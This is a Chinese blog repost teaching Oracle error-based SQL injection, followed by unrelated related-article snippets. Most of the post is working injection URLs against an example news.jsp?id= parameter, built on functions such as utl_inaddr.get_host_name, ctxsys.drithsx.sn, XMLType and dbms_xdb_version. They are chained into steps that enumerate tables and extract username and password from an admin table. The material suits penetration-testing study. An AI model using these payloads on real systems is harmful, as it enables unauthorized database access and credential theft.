oralce报错注入(转自某个奇安信大佬)(代码片段)

小温温爱你哦 小温温爱你哦     2022-12-26     509

关键词:

0x00 前言

在oracle注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。

使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式。

判断注入

http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from user_tables)>0 --
http://www.jsporcle.com/news.jsp?id=1 and (select count (*) from dual)>0 --

0x01 报错函数注入

utl_inaddr.get_host_name()进行报错注入

and 1=utl_inaddr.get_host_name((select user from dual))--
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。

我们传递的是一个sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有:

 

 

 

ctxsys.drithsx.sn()进行报错注入

http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

 

 

 

XMLType()进行报错注入

and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

 

 

 

dbms_xdb_version.checkin()进行报错注入

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
查询版本信息
http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

 

 

bms_xdb_version.makeversioned()进报错注入

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

 

 

dbms_xdb_version.uncheckout()进行报错注入

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

 

 

 

dbms_utility.sqlid_to_sqlhash()进行报错注入

and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

 

 

 ordsys.ord_dicom.getmappingxpath()进行报错注入

and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

 

 

 

decode进行报错注入

这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

and 1=(select decode(substr(user,1,1),\'S\',(1/0),0) from dual) --

 

0x02 报错函数注入数据

Oracle 数据库的注入不同于其他数据库,如Access 和Mysql,它包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名

爆库 第一行记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (SELECT DISTINCT owner FROM all_tables where rownum=1) from dual))--

爆表 第一行第一个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --

第二个记录

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1 and table_name not in (\'LOGMNR_SESSION_EVOLVE$\'))) --

报错admin表的 用户和密码

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

 

 其他报错函数大同小异。

奇安信文件上传漏洞如何编写

...件上传漏洞编写:允许用户上传任意文件可能会让攻击者注入危险内容或恶意代码,并在服务器上运行。任意文件上传漏洞原理:由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某... 查看详情

2022赢在起跑线!奇安信专家整理的安全面试题,搞死面试官

...公司的offer。总结一下下我的面试题web部分:  1.sql注入部分SQL注入原理SQL注入的种类?SQL注入的绕过有了解过吗?有绕过那 查看详情

zabbix怎么监控奇安信网神防火墙

Zabbix怎么添加奇安信网神防火墙奇安信防火墙奇安信防火墙系统配置Zabbix添加防火墙Zabbix奇安信模板奇安信防火墙打开奇安信防火墙,1、系统设置---------SNMP启用SNMP2、SNMPV1和V2参数配置SNMP开启只读就好了,团体名称自定义,这... 查看详情

uos系统与奇安信旗下的安全浏览器完成认证

...浏览器ESR浏览器、火狐浏览器中国版浏览器等。 本文转自:https://www. 查看详情

2022赢在起跑线!奇安信专家整理的安全面试题,搞死面试官

...公司的offer。总结一下下我的面试题web部分:  1.sql注入部分SQL注入原理SQL注入的种类?SQL注入的绕过有了解过吗?有绕过那些WAF?绕WAF的方法有哪些?介绍一下你的SQL注入流程SQL注入一开始用来判断数据库类... 查看详情

数据挖掘2020奇安信秋招算法方向试卷3笔试题解析(代码片段)

来自牛客网:【2020】奇安信秋招算法方向试卷31、设计一个判别表达式中左,右括号是否配对出现的算法,采用____数据结构最佳答案:栈2、对于有n个结点的二叉树,其高度为()答案:未知,可以随意变换高... 查看详情

奇安信一面-面筋卷

奇安信一面30分自我介绍笔试成绩还是比较差的,问我有过反思吗然后根据自我介绍和简历一步步问因为我自我介绍有学习历程,所以问了我学了c,c++,最后引出熟悉Java没有问项目内容,问了下项目是... 查看详情

解决方案-奇安信连接网关失败问题

...获得授权,非商业转载请注明出处问题描述    奇安信是各大高校和企业常用的工具之一,大大提高了工作的便捷性。但因为奇安信在网络上的相关资料较少,使用者在使用时如果碰到一些难以解决的问题,便... 查看详情

解决方案-奇安信连接网关失败问题

...获得授权,非商业转载请注明出处问题描述    奇安信是各大高校和企业常用的工具之一,大大提高了工作的便捷性。但因为奇安信在网络上的相关资料较少,使用者在使用时如果碰到一些难以解决的问题,便... 查看详情

ubuntu软件奇安信需要重新安装但是我没有找到这个安装包

...者在网上搜索安装包。 参考技术B不用担心,你可以从奇安信的官网上下载安装包。 参考技术C您可以在Ubuntu官网下载重新安装奇安信的软件,或者从第三方网站下载该安装包。 参考技术DMMC卡是一种小型存储卡,可以用于存储数... 查看详情

如何退出或卸载奇安信天擎软件

...一:简单粗暴式直接进入电脑安全模式,找到奇安信软件的安装目录QAX,直接删除即可(注意:该方式只适用于卸载,不适用于退出),简单、粗暴、有效,这里将不再细说。方法二:繁琐... 查看详情

golang开发面经奇安信(两轮技术面)

文章目录写在前面笔试一面说一下TCP的三次握手和四次挥手TCP和UDP的区别怎么让UDP变得可靠写一下sql的查询语句,比如说我要查询id=3的user。说一下InnoDB的特性讲讲mysql的索引如何创建索引?画过流程图吗?我们工... 查看详情

转自大佬的线段树(代码片段)

结构——线段树O、引例A.给出n个数,n<=100,和m个询问,每次询问区间[l,r]的和,并输出。一种回答:这也太简单了,O(n)枚举搜索就行了。另一种回答:还用得着o(n)枚举,前缀和o(1)就搞定。那好,我再修改一下题... 查看详情

深耕网络安全的奇安信,如何在dt时代铸下安全印记?

人类正从IT时代走向DT时代,数据的重要性被拔高到与经济发展、社会进步,甚至是国家治理的层面,因为它是人的延伸、交易的延伸、服务的延伸。不过由于DT时代数据开放性和共享性的不断加强,与之对应的网... 查看详情

奇安信2022面试题

奇安信2022面试题1、自我介绍,介绍项目。2、springboot的启动器(starter)用过那些。3、有没有用过JPA。4、springboot常见注解?RequestMapping用法,使用opeinforeign怎么传参数,使用那个注解@RquestBody5、java语言... 查看详情

奇安信漏扫设备与堡垒机问题解析

奇安信设备(堡垒机)设备全称:奇安信网神运维安全管理系统V6.0设备版本号:V6.0C6100-BH-TF10M问题描述:web、console用户密码丢失,无法进入Web界面。解决方法:一、1.底层看一下之前有没有修改密码的... 查看详情

奇安信技术总监熬夜总结,全网最全内网渗透姿势!(代码片段)

0x00前言在渗透中拿到一台边缘机器后剩余内网机器不出网的情况很常见,这时我们就需要把内网机器流量转到边缘机器上再进行访问,内网流量转出来的方法很多,在下面就介绍几种常见的方法0x01环境介绍本地环境... 查看详情

开始报名丨ccfc³-13@奇安信:透视俄乌网络战——网络空间基础设施面临的安全对抗与制裁博弈...

...弈,将于7月8日周五晚(18:00-21:30),在奇安信安全中心举行,名额有限,报名从速。自俄乌军事冲突正式爆发以来,在物理战场之外以俄乌美欧为主的多方势力在网络空间这个看不见硝烟的第二战场上... 查看详情